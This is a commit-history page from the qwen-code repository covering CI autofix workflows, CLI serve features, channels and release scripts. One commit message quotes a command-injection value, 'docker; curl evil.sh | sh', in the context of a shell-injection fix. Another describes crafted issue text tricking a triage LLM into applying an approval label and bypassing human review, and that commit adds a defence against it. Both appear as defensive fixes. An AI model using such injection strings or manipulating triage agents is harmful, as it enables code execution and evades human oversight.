Commit graph

375 commits

Author SHA1 Message Date
yiliang114
0df4a1ffc7 ci(autofix): preserve issue assignment gates 2026-07-10 00:12:43 +08:00
yiliang114
dfe51ca48f ci: route assigned autofix issues 2026-07-09 23:08:59 +08:00
yiliang114
86c3e5f6e4 ci: harden selected-runner follow-up jobs 2026-07-09 22:38:17 +08:00
易良
2a1807f08d
fix(ci): detect silent triage failures with empty-response check (#6566)
* fix(ci): detect silent triage failures with empty-response check

The qwen-triage workflow relied on qwen-code-action to surface failures,
but when the CLI exited 0 with empty output the step reported success
with no triage comments posted. Add a post-step that checks the action's
summary output and fails the job if it is empty, making silent failures
visible in the Actions log.

Defense-in-depth for QwenLM/qwen-code#6553 (primary fix in
qwen-code-action).

* ci: bump qwen-code-action pin to 6d08e91

Picks up the stderr visibility fix (QwenLM/qwen-code-action#12) that
always emits stderr to the step log and warns on empty responses.
Bumps all 5 workflows pinned to the action.

* fix(ci): pass triage summary through env
2026-07-09 11:10:44 +00:00
易良
ba709c2c2c
ci(autofix): Add single-target scheduler (#6547)
* ci(autofix): add single-target scheduler

* ci(autofix): handle failed PR checks in scheduler

* ci(autofix): remove scheduler plan doc

* ci(autofix): watermark failed PR checks

* ci(autofix): harden failed check feedback

* ci(autofix): count review-address failures

* ci(autofix): include review-address failures in feedback
2026-07-09 01:05:02 +00:00
易良
fbdaa52c52
Gate browser automation MCP on external adapter (#6472)
* feat(cli): gate browser automation adapter

* fix(cli): close browser automation review gaps

* test(cli): cover browser automation gates

* fix(cli): close browser automation review gaps

* fix(cli): close browser automation review gaps
2026-07-08 23:26:44 +00:00
Nothing Chan
0a54652e07
fix(core): configurable vision bridge timeout + retry with fresh budget (#6541)
* fix(core): configurable vision bridge timeout + retry with fresh budget

The vision bridge capped image transcription at a hardcoded 30s. On a
slow or proxied vision endpoint one latency spike permanently lost the
image: the retry inside the side query shared the same abort signal, so
a second attempt inherited whatever seconds were left of the first
attempt's budget.

Add a visionBridgeTimeoutMs setting (per attempt; unset keeps 30s,
non-positive values are ignored) and retry a timed-out attempt once at
the bridge level with a freshly created timeout signal. Non-timeout
failures still fail immediately, and user cancellation is still
reported as skipped.

Fixes #6524

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(core): harden visionBridgeTimeoutMs against invalid timer values

Maintainer E2E review found that fractional or out-of-range values such as 30000.5 and 4294967296 could pass the old number-typed config path and Config's Number.isFinite && > 0 guard. Node rejects fractional AbortSignal.timeout values with RangeError and can degrade oversized timer values to a 1ms timeout, which made image turns fail before any model request.

Tighten the Config guard to positive integers within the supported 32-bit timer ceiling, make visionBridgeTimeoutMs a bounded integer setting so /config and the generated JSON schema reject bad values up front, and move AbortSignal.timeout/any creation inside the bridge try block so any future bad value becomes a safe failure result instead of an escaped rejection. Also mark the setting requiresRestart because it is read once in the Config constructor.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-07-08 23:24:39 +00:00
Shaojin Wen
e3e449fc4c
feat(autofix): extend review loop to all dev-bot PRs, add real-time triggers (#6528)
* feat(autofix): extend review loop to all dev-bot PRs, add real-time triggers

* fix(autofix): address review feedback — trusted checkout, sender gate, in-repo check, issue comments

* fix(autofix): address suggestion feedback — API warning, bot comment filter, branch prefix doc, test coverage

* fix(autofix): drop pull_request_review_comment trigger to avoid redundant runs
2026-07-08 14:18:17 +00:00
qwen-code-dev-bot
955ad27fc7
fix(scripts): handle missing NPM dist-tags gracefully in release versioning (#6476) (#6481)
* fix(scripts): handle missing NPM dist-tags gracefully in release versioning (#6476)

getAndVerifyTags now returns null instead of throwing when no baseline
version exists on NPM. getPreviewVersion and getStableVersion fall back
to the package.json base version, matching the pattern already used by
getNightlyVersion. This prevents the release workflow from failing when
no nightly or preview dist-tag has been published yet.

* fix(scripts): harden release versioning against transient NPM errors and missing dist-tags (#6476)

- Distinguish 404 from transient errors in getVersionFromNPM so NPM
  outages halt the release instead of silently falling back
- Consult getAllVersionsFromNPM when dist-tag is missing to derive
  baseline from published versions rather than returning empty
- Add console.error logging when getAndVerifyTags returns null
- Validate package.json fallback version in getStableVersion and
  getPreviewVersion
- Add tests for promote-nightly/patch throw paths, true greenfield
  scenario, versions-list derivation, and transient error propagation

* fix(scripts): propagate transient NPM errors in getAllVersionsFromNPM (#6476)

getAllVersionsFromNPM silently swallowed all errors including transient
network failures (ETIMEDOUT, ECONNRESET), which became load-bearing now
that the missing-dist-tag fallback depends on it. Match the same 404-only
pattern already used by getVersionFromNPM. Also fix a DRY violation in
getPreviewVersion, correct misleading test comments, and add test
coverage for the versions-list error path and latest filter branch.

* fix(scripts): tighten 404 detection and tolerate transient versions-list failures (#6476)

- Remove redundant '404' substring check; E404 is the canonical npm error code
  and bare '404' could false-match unrelated errors (port 4043, E4040)
- Catch transient versions-list errors in detectRollbackAndGetBaseline when
  distTagVersion is already resolved, avoiding hard-blocking a release when
  rollback detection is merely a safety net
- Update and add tests for the new fallback behavior and deprecated-versions path

* fix(scripts): guard release version fallback edge cases

* test(scripts): cover greenfield versions list E404

---------

Co-authored-by: Qwen Code Autofix <qwen-code-bot@alibabacloud.com>
Co-authored-by: qwen-code[bot] <qwen-code[bot]@users.noreply.github.com>
Co-authored-by: Qwen Code Autofix <qwen-code@autofix.bot>
Co-authored-by: yiliang114 <effortyiliang@gmail.com>
2026-07-08 12:21:14 +00:00
Shaojin Wen
271664b34b
feat(cli): auto-retry next port when serve port is in use (#6513)
* feat(cli): auto-retry next port when serve port is in use

When `qwen serve` or `npm run dev:daemon` encounters EADDRINUSE on the
default port (4170), automatically try the next available port (up to 10
attempts) instead of failing immediately. This allows running multiple
daemon instances side-by-side without manual port management.

- run-qwen-serve.ts: replace single listen() with recursive tryListen()
  that retries on EADDRINUSE; --port 0 (ephemeral) skips retry
- daemon-dev.js: pre-scan for an available port via net probe before
  spawning the daemon child, ensuring health-poll and web-shell target
  the correct URL
- Tests: retry-then-succeed, non-EADDRINUSE immediate-fail, and existing
  all-ports-exhausted test all pass (138 tests)

* test(cli): fix EADDRINUSE mock to create fresh server per listen attempt

The existing test reused a single fakeServer across all retry attempts,
accumulating 10+ once('listening') listeners and triggering a
MaxListenersExceededWarning. Create a new server per call to match
production behavior where each tryListen creates a fresh server.

* fix: address review feedback on port retry

- daemon-dev.js: strip IPv6 brackets before probe (ENOTFOUND fix),
  add port range/NaN validation
- run-qwen-serve.ts: remove duplicate runtime error listener
  (onListening already installs one via removeAllListeners + on)
- tests: add exhaustion (all 10 ports), port 0 EADDRINUSE no-retry,
  and stderr retry message assertion (140 tests pass)

* fix: update stale comment referencing removed server.once('error', reject)

* fix: address R2 review — port cap, TLS reuse, exhaustion summary

- daemon-dev.js: cap probe at port 65535, skip probe when user
  specifies --port, add --compacted-replay-max-bytes to whitelist
- run-qwen-serve.ts: move https.createServer before tryListen (avoid
  recreating TLS context per retry), cap retry at 65535, log summary
  "all ports X–Y are in use" on exhaustion
- tests: verify exhaustion summary stderr message

* fix: clear stale listening listeners on httpsServer before retry
2026-07-08 10:31:52 +00:00
qqqys
467b292b50
feat(channels): add WeCom intelligent robot channel (#6436)
* feat(channels): add WeCom smart bot channel

* fix(channels): harden wecom review suggestions

* fix(channels): address wecom critical review

* fix(channels): include wecom mixed voice text

* fix(channels): tighten wecom outbound media

* fix(channels): harden wecom outbound sends

* fix(channels): address wecom review blockers

* fix(channels): address wecom review followups

* fix(channels): harden wecom inbound handling

* fix(channels): address wecom auth and media review

* fix(channels): tighten wecom inbound cleanup

* fix(channels): harden wecom media safety

* fix(channels): address wecom review typecheck

* fix(channels): harden wecom media review gaps

* fix(channels): address wecom review blockers

* fix(channels): tighten wecom media edge cases

* fix(channels): address wecom review blockers

* fix(channels): address wecom media review blockers

* fix(channels): address wecom review follow-ups

* fix(channels): address wecom review blockers

* fix(channels): close wecom review blockers

* fix(channels): close wecom preflight dedup race

* fix(channels): close wecom review gaps

* fix(channels): harden wecom kick reconnect

* fix(channels): defer wecom session resolution

* fix(channels): clean wecom session attachments

* fix(channels): harden wecom reconnect and media cleanup

* fix(channels): address wecom review diagnostics

* fix(channels): improve wecom diagnostics

* fix(channels): reset wecom kick retries

* fix(channels): improve wecom diagnostics

* fix(channels): preserve sync cancel preflight

* fix(channels): close wecom connection and ssrf gaps

* fix(channels): clean coalesced wecom attachments

* fix(channels): bound wecom sdk connect wait

* fix(channels): scope wecom untracked attachment cleanup

* fix(channels): block wecom nat64 local-use ssrf

* fix(channels): harden wecom media handling

* fix(channels): harden wecom group gates

* fix(channels): bound wecom kick reconnect cycles

* fix(channels): drain loop collect prompts directly

* fix(channels): align wecom buffer hooks

* fix(channels): harden wecom delivery failures

* fix(channels): recover from wecom attachment write failures

* fix(channels): surface wecom media send failures

* fix(channels): harden wecom replay and reconnect

* fix(channels): clarify wecom partial delivery cleanup

* fix(channels): close wecom rejected downloads

* fix(channels): retain wecom dedup after processing starts

* fix(channels): harden wecom reconnect and media errors

* fix(channels): add wecom media error context

* fix(channels): improve wecom dns diagnostics

* fix(channels): keep wecom kick retry alive

* fix(channels): allow wecom quoted bot replies

* fix(channels): preserve wecom code fences across chunks

* fix(channels): harden wecom reconnect lifecycle

* fix(channels): report wecom media dir setup failures

* fix(channels): harden wecom reconnect recovery

* fix(channels): align wecom review fixes

* fix(channels): harden wecom marker parsing

* fix(channels): keep wecom reconnect timers alive

* fix(channels): handle wecom tilde fences

* fix(channels): preserve wecom fence state

* fix(channels): clean up wecom attachment races

* fix(channels): bind wecom media reads to file handles

* fix(channels): prevent wecom symlink media opens

* fix(channels): address wecom review blockers

* fix(wecom): remove media URL from error messages to prevent credential leakage

The guardedHttpsDownload error messages included rawUrl (truncated to 120
chars), which leaks private WeCom media download URLs into stderr and log
aggregation systems. Remove the URL from redirect and HTTP error messages.

* fix(wecom): address review feedback — tests, security, correctness

- Remove stale URL assertions from media download error tests (the error
  messages no longer include raw URLs after the credential-leak fix)
- Redact sensitive fields (secret, aeskey, token, password, authorization)
  in formatSdkError's JSON.stringify fallback to prevent credential
  leakage in logs
- Add indented code block detection to findCodeRanges so [IMAGE: path]
  inside 4-space/tab-indented code is not stripped as a media marker
- Add disconnectGeneration guard before mkdirSync in downloadAttachments
  to prevent orphaned temp directories when disconnect() races with
  in-flight attachment downloads

* fix(wecom): wrap client.disconnect() in catch block to preserve connection error

In the connect() catch block, client.disconnect() could throw (e.g. if
the WebSocket was already destroyed), masking the original connection
error. Wrap in try/catch so cleanup failures never shadow the root cause.

* fix(channels): address wecom reconnect review blockers

* fix(channels): harden wecom reconnect review fixes

* fix(channels): harden wecom review blockers

* fix(channels): address wecom review blockers

* fix(channels): preserve unsupported wecom media markers

* fix(channels): address wecom reliability suggestions

* fix(channels): allow wecom retry after early drops

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-07 15:24:19 +00:00
易良
010bedfc88
fix(autofix): report review handoff failures (#6415)
* fix(autofix): report review handoff failures

* fix(autofix): distinguish terminal review handoffs

* fix(autofix): harden review handoff reporting

* test(autofix): cover agent failure handoff marker

* fix(autofix): avoid hanging on destroyed log stream

* fix(autofix): harden handoff failure reporting

* fix(autofix): detect split loop guard output

* fix(autofix): kill timed-out qwen process group
2026-07-07 12:27:13 +00:00
易良
5f7b57f933
fix(autofix): improve review addressing and verification (#6382)
* fix(autofix): run verification before committing

* ci(autofix): trigger review addressing on feedback

* fix(autofix): narrow npm command allowlist

* fix(autofix): address review workflow guards

* fix(autofix): keep review addressing on scheduled sweep
2026-07-06 14:10:58 +00:00
易良
0c28ddc180
ci(autofix): move agent prompts into a project skill (#6306)
* ci(autofix): move agent prompts into project skill

* ci(autofix): avoid rewriting bot branch history

* fix(ci): address autofix skill review comments

* fix(ci): preserve autofix skill guardrails

* fix(ci): restore autofix review self-check

* test(ci): pin autofix review self-check

* fix(ci): tighten autofix skill guardrails

* fix(ci): restore autofix skill guardrails

* fix(ci): restore autofix merge verification guidance

* ci(autofix): add maintainer comment dry-run trigger

* fix(autofix): expand skill prompt in workflow

* fix(autofix): preserve qwen failure artifacts

* fix(autofix): move prompt runner into skill

* refactor(autofix): slim skill runner

* refactor(autofix): trim skill prompt

* fix(autofix): clarify verification handoff

* fix(autofix): skip issues with open bot PRs

* fix(autofix): expose existing PR context to skill

* fix(autofix): require strict null-safe TypeScript patches

* feat(autofix): formalize full pipeline phases in skill specification

Expand the autofix skill from 3 modes to an 8-phase pipeline definition
covering design, review-design, develop, verify, repair, cross-review,
and address-review. Adds bounded repair, scope creep self-check, and
structured failure classification. Future phases clearly marked.

* fix(autofix): keep skill scope to active modes

* fix(autofix): tighten manual command routing

* fix(autofix): harden comment-triggered runs

* fix(autofix): remove comment-triggered autofix route

* fix(autofix): restore review safety checks

* test(autofix): relax runner failure timeout

* fix(autofix): keep issue fixes in workflow checkout

* fix(autofix): harden review feedback handling

* fix(autofix): guard forced routing, improve runner observability (#6306)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(autofix): address workflow review feedback

* fix(autofix): tighten review feedback handling

* test(autofix): trim runner test boilerplate

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-06 06:28:16 +00:00
易良
e3906392b5
perf(ci): optimize autofix pipeline — fast-track, skip duplicate build, scoped tests (#6315)
* perf(ci): optimize autofix pipeline — fast-track, skip duplicate build, scoped tests (#6196)

Three optimizations to reduce autofix wall-clock from ~48 min to ~28-35 min:

1. Fast-track decision: skip LLM assessment for trusted triggers
   (workflow_dispatch with explicit issue, issues:labeled event).
2. Skip duplicate build: set QWEN_SKIP_PREPARE=1 so npm ci does not
   re-run the prepare hook that builds+bundles before the explicit
   build step.
3. Scoped verification tests: run only changed-file tests via
   --changed instead of full per-package suites. Full regression
   is covered by regular CI on the PR.

Also hardens live test gating (require QWEN_CODE_RUN_LIVE_TESTS=1)
and increases crawler test timeout to 30s.

* refactor(ci): simplify verification gate package discovery

Replace 30-line inline Node script with the original one-liner
`grep -oE '^packages/[^/]+'`. The Node script checked for
package.json existence and test scripts, but `--if-present` already
handles missing test scripts and all workspace dirs have package.json.

Addresses design-review item #7.

* fix(ci): tighten autofix changed-test gate
2026-07-05 02:32:04 +00:00
易良
905c5c95a7
fix(ci): skip stale PR review runs (#6313)
* fix(ci): skip stale PR review runs

* test(ci): trigger review cancellation

* fix(ci): make PR review cancellation interruptible

* fix(ci): block stale review comment writes
2026-07-04 20:15:30 +00:00
易良
ba7561af49
fix(ci): Stop review bots for closed PRs (#6304)
* fix(ci): stop review bots for closed PRs

* test(ci): scope closed review workflow assertions

* test(ci): cover closed PR review guards
2026-07-04 14:16:47 +00:00
易良
e48999ddb2
fix(ci): require maintainer-applied autofix/approved label for tier-1 fast-path (#6276)
* fix(ci): require maintainer-applied `autofix/approved` label for tier-1 fast-path

The scheduled scan and `issues:labeled` event paths in `qwen-autofix.yml`
previously trusted the `status/ready-for-agent` label alone, which is
applied by an LLM reading untrusted issue text. An attacker could craft
issue content to trick the triage LLM into labeling it ready, bypassing
human review.

Introduce an `autofix/approved` label that only maintainers (write+
permission) can apply. Both the cron scan and event-triggered paths now
require this label alongside `status/ready-for-agent` before entering the
autonomous fix pipeline (dual-factor: LLM signal + human confirmation).

Also:
- `release.yml` automatically adds `autofix/approved` on workflow-created
  release-failure issues (trusted source, preserves existing automation)
- Forced-issue path (non-dispatch) also checks for the new label
- Claim step strips `autofix/approved` to keep processed issues clean

Closes #5634

* fix(ci): address autofix approval review

* fix(ci): address autofix approval follow-ups

* test(ci): cover autofix approval gate

* fix(ci): harden autofix approval revalidation

* fix(ci): avoid autofix approval retry loop

* fix(ci): harden autofix claim handling

* fix(ci): clarify autofix reapproval label

* fix(ci): make autofix claim label update non-destructive
2026-07-04 08:06:27 +00:00
qwen-code-dev-bot
9f87c90a50
fix(autofix): unconditionally restore tracked files before branch checkout (#6281) (#6286)
git diff --quiet exits 0 when only CRLF normalization differs (content
is identical after filter), so the conditional git restore was skipped
even though the working tree was dirty. This caused git checkout -B to
fail on NOTICES.txt. Remove the conditional guard so restore always runs.

Co-authored-by: Qwen Autofix <qwen-autofix@alibaba-inc.com>
2026-07-03 20:11:42 +00:00
易良
e1fc45d508
ci(autofix): restore sandbox image flow (#6261)
* ci(autofix): restore sandbox image flow

* test(ci): update autofix workflow assertions

* ci(autofix): restore tracked output before review checkout

* test(ci): clarify autofix workspace assertion

* style(ci): format sandbox image resolver

* ci(autofix): address sandbox review feedback

* test(ci): cover sandbox image publish gating

* ci(autofix): validate sandbox image config

* ci(autofix): address workflow review comments
2026-07-03 15:30:58 +00:00
Shaojin Wen
da22360c25
feat(web-shell): show the qwen-code version in the sidebar footer (#6222)
* feat(web-shell): show the qwen-code version in the sidebar footer

The Web Shell had no visible version. Show the running qwen-code version (from the daemon capabilities) in the sidebar footer, inline with the Settings button so it stays visible without taking its own row.

Render the version consistently wherever it appears:
- Prefix "v" only for a real semver release; a non-semver fallback such as "unknown" is shown as-is, so we never render a bogus "vunknown". Applied to the Web Shell badge and the TUI header.
- Dev builds (scripts/dev.js) now report the real package version instead of the "dev" sentinel, matching scripts/start.js, so the UI shows the actual version (e.g. v0.19.4). DEV=true / NODE_ENV=development remain the signals that mark a dev build.

* test: add readFileSync to node:fs mock in dev.test.js

scripts/dev.js now reads package.json via readFileSync at module load to
report the real CLI_VERSION, but the node:fs mock in dev.test.js did not
export readFileSync, causing vitest to throw "No readFileSync export is
defined on the node:fs mock" and failing the suite.
2026-07-03 08:56:08 +00:00
易良
e743f0e2e0
ci(autofix): run agents on dedicated ECS runners (#6207)
* ci(autofix): run agents on dedicated ECS runners

* ci(autofix): retry repository checkout

* ci(autofix): use local qwen bundle fallback

* ci(autofix): harden ECS runner failure handling

* ci(autofix): retry transient qwen runner failures

* fix(ci): proxy autofix model credentials

* fix(ci): limit ECS autofix to ready issues

* fix(ci): address autofix workflow review feedback

* fix(ci): restore autofix known bots

* chore(ci): trim autofix ECS scope

* fix(ci): consolidate autofix OpenAI proxy

* fix(ci): restrict autofix agent execution tools

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-03 07:40:07 +00:00
qqqys
62e11a5732
feat(core): add dataviz bundled skill (#6198)
* feat(core): add dataviz bundled skill

* fix(core): harden dataviz palette validator

* fix(core): harden dataviz validator review gaps

* test(core): declare node global in dataviz test

* fix(core): harden dataviz validator cli

* fix(core): tighten dataviz validator packaging

* fix(core): tighten dataviz skill packaging
2026-07-03 01:06:39 +00:00
易良
b16baf1ffc
ci(release): optimize validation steps (#6133)
* ci(release): optimize validation steps

* fix(ci): address release validation review comments

* fix(ci): document prepare skip contract

* test(ci): cover prepare failure exit

* fix(ci): prefix prepare error logs

* fix(ci): keep release quality build artifacts

* fix(ci): address release validation comments

* fix(ci): preserve release publish hooks

* test(ci): cover prepare failure paths

* fix(ci): disable release coverage safely
2026-07-02 23:53:08 +00:00
顾盼
badf85170f
fix(core): Reduce multimodal history payload size (#6045)
* fix(core): reduce multimodal history payload size

* fix(core): use kebab-case image payload filenames

* fix(core): address image payload review blockers

* fix(core): preserve current request image payloads

* ci: disable implicit actionlint pyflakes integration

* fix(core): reattach recent unique image payloads

* fix(core): preserve referenced image payloads

* fix(core): tolerate partial config mocks in MCP discovery

* fix(core): preserve current images during recovery

---------

Co-authored-by: qwen-code-dev-bot <qwen-code-dev-bot@users.noreply.github.com>
2026-07-02 23:38:50 +00:00
Gaurav
2cb0031160
fix(cli): add bootstrap fast paths (#6188)
* fix(cli): add bootstrap fast paths

* fix(cli): address bootstrap review feedback

* test(core): make MCP retry backoff test deterministic

* fix(cli): address bootstrap validation feedback

* fix(cli): keep global-flag MCP invocations on full parser

* fix(cli): harden bootstrap review gaps

* fix(cli): copy package wrapper from script directory

* fix(cli): cover bootstrap review edge cases

* test(cli): cover bootstrap fallback paths

* fix(cli): minimize wrapper version imports

---------

Co-authored-by: 易良 <1204183885@qq.com>
2026-07-02 22:28:11 +00:00
易良
489bea9771
fix(release): reduce npm package scan triggers (#6164)
* fix(release): reduce npm package scan triggers

* fix(release): remove browser MCP dev dependencies

* test(serve): stabilize CDP tunnel acceptance startup

* fix(serve): remove unused chrome devtools MCP helper

* fix(serve): remove unused path import

* fix(serve): address CDP MCP review comments
2026-07-02 08:06:43 +00:00
易良
262186cc18
fix(ci): diagnose autofix publish credentials (#6162)
* fix(ci): diagnose autofix publish credentials

* fix(ci): harden autofix credential diagnostics
2026-07-02 07:50:08 +00:00
易良
505430320f
fix(ci): fall back to latest autofix sandbox image (#6159)
* fix(ci): fall back to latest autofix sandbox image

* fix(ci): satisfy autofix workflow lint

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
2026-07-02 13:52:33 +08:00
易良
3026db3039
fix(ci): allow prechecked fork PR automation (#6160)
* fix(ci): allow triage for fork PRs that pass safety precheck

Fork PRs by non-write authors were blocked from triage even when the
safety precheck passed, because the authorize job gates on write
permission. Triage is read-only (checks out trusted base code, reads PR
via API), so precheck pass is sufficient to run it safely.

Split the pull_request_target and issue_comment authorization paths:
- pull_request_target: accept write permission OR precheck pass
- issue_comment /triage: still require write permission on the commenter

tmux-testing is unchanged — it executes PR code and must keep the write
permission gate.

* fix(ci): allow prechecked fork PR automation

* docs(ci): clarify PR review authorization routing

* test(ci): guard fork precheck authorization

* fix(ci): tighten fork precheck review guards

* test(ci): guard review-request authorization
2026-07-02 13:52:25 +08:00
易良
1287ac10ca
ci: stabilize actionlint on self-hosted runners (#6113) 2026-07-01 09:25:42 +00:00
易良
66521d8a0e
ci(autofix): fix scheduled and labeled issue triggers (#6080)
* ci(autofix): fix scheduled and labeled issue triggers

* ci(autofix): harden issue label routing

* ci(autofix): scope manual forced routing

* ci(autofix): address routing review comments

* ci(autofix): clarify issue routing comments

* fix(ci): address autofix routing review

* fix(ci): reuse issue label trigger guard

* fix(ci): preserve manual autofix issue override

* fix(ci): guard autofix label routing

* fix(ci): check autofix label sender permission

* fix(ci): address autofix route review comments

* fix(ci): serialize autofix issue runs
2026-07-01 16:23:12 +08:00
tanzhenxin
0cbd687885
fix(scripts): avoid shell injection in sandbox command detection (#6108)
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.

Add a subprocess regression test covering several injection payload shapes.
2026-07-01 16:20:40 +08:00
jinye
cf6323bfb5
feat(cli): Add daemon-managed channel worker for serve --channel (#6031)
* feat(cli): add daemon-managed channel worker

* codex: address PR review feedback (#5978)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden serve channel worker lifecycle

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): cover channel worker edge cases

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address channel worker review followups

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): clear channel pidfile after worker exit

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address serve channel review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden serve channel worker review issues

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): preserve channel worker exit errors

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden daemon channel worker startup

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address channel worker review cleanup

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): track channel worker exit explicitly

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address daemon worker startup review (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address daemon worker disconnect review (#6031)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address serve channel review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address channel worker review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-07-01 01:40:54 +00:00
Shaojin Wen
52f875a875
ci(workflows): remind authors not to force-push active PRs (#6035)
* ci(workflows): remind authors not to force-push active PRs

Add a workflow that detects force-pushes (rebase/amend/reset) to open PRs
via the pull_request_target synchronize event and posts a one-time,
bilingual reminder that force-pushing invalidates existing review comments
and that the integration bots squash all changes into a single commit
automatically. A normal push (compare status "ahead") is ignored; the
reminder is posted at most once per PR, bot-initiated pushes are skipped,
and a failed compare is treated conservatively (no comment).

* ci(workflows): address review — add issues:write, serialize without cancel

- Add `issues: write`: the listComments/createComment calls go through the
  Issues API; declaring it matches the repo's other PR-commenting workflows
  and avoids any risk of a 403 making the workflow inert.
- Set `cancel-in-progress: false`: an in-flight run that already detected a
  force-push must finish and post. The concurrency group still serializes
  runs per PR, and the once-per-PR marker prevents duplicates, so later
  pushes queue and then no-op instead of cancelling (and silently dropping)
  a pending reminder.

* ci(workflows): harden force-push detection per review

- Marker dedup now requires the comment to be from github-actions[bot], so a
  user pasting the marker string into a comment can't suppress reminders.
- Skip known automation logins (qwen-code-dev-bot et al.) that push via PAT as
  sender.type 'User', not just GitHub App bots (mirrors qwen-autofix KNOWN_BOTS).
- Narrow the compare catch to 404 (orphaned old tip -> skip); rethrow other
  errors so auth/rate failures go red instead of silently no-op'ing.
- Wrap createComment with structured error logging + rethrow.

Kept 3-dot compare and base-repo owner: verified that 3-dot returns
diverged/behind for force-pushes and that the base repo resolves fork-PR
commits, while the suggested 2-dot syntax 404s in the REST API.

* test(ci): add structural test for the force-push reminder workflow

- Add scripts/tests/pr-force-push-reminder-workflow.test.js (runs under
  test:scripts, which CI chains into test:ci). It asserts the trigger, repo
  guard, permissions, serialized concurrency, KNOWN_AUTOMATION sync with
  qwen-autofix, the 3-dot compare on the base repo, 404-vs-rethrow, the marker
  author check, and the bilingual body — locking in the reviewed behaviors.
- Wrap the listComments paginate call in the same core.error + rethrow the
  other two API calls already use.
- Note that KNOWN_AUTOMATION must stay in sync with qwen-autofix.yml KNOWN_BOTS.

* ci(workflows): drop concurrency group, rely on marker for idempotency

A concurrency group keeps at most one pending run per group, so a burst of
pushes can cancel a still-pending force-push run before it reaches the script,
dropping the reminder this workflow exists to post. Remove the group entirely:
every synchronize event now runs independently and is always evaluated, and the
once-per-PR marker provides idempotency. A rare double-post on two
near-simultaneous first force-pushes is the acceptable cost of never silently
missing one. Update the structural test to assert there is no concurrency block.

The reviewer's suggested `queue: max` is not a valid GitHub Actions concurrency
key (only `group`/`cancel-in-progress` are allowed) and fails actionlint.

* test(ci): use Qwen Team header and assert the dedup skip path

- Switch the copyright header to the prevailing `Qwen Team` (14 of 17 sibling
  test files use it; this file had copied an older Google LLC header).
- Assert the idempotency skip log line so removing the marker guard fails a test.

* test(ci): mechanically enforce KNOWN_AUTOMATION sync with qwen-autofix

Read qwen-autofix.yml's KNOWN_BOTS and assert each login is also skipped here,
so adding a bot there without updating this workflow fails the test instead of
silently drifting. Replaces the hardcoded login list whose comment overclaimed
that the sync was verified.
2026-06-30 14:55:00 +00:00
jinye
ea536d361f
fix(cli): Handle ACP read_file for managed local paths (#6021)
* fix(cli): handle ACP read_file local roots

Allow ACP read_file calls to fall back to local reads for explicitly permitted local roots when the serve workspace boundary rejects them, and preserve useful messages for plain object read errors.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Add the missing getUserAutoMemoryRoot export to the acpAgent test core mock so the updated acpAgent import resolves under Vitest.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(acp): Narrow local read fallback temp roots

Remove the broad OS temp directory from default read_file allow roots and ACP local read fallback roots. Keep qwen-managed temp roots readable and reuse the shared isSubpath helper after realpath resolution for ACP fallback containment.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix CI failure on PR #6021

Add the serve fast-path bundle check script and root npm script that the current CI workflow invokes. This mirrors the already-merged mainline check without pulling unrelated workflow or test config changes into this PR.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address ACP read error review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden ACP error normalization

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

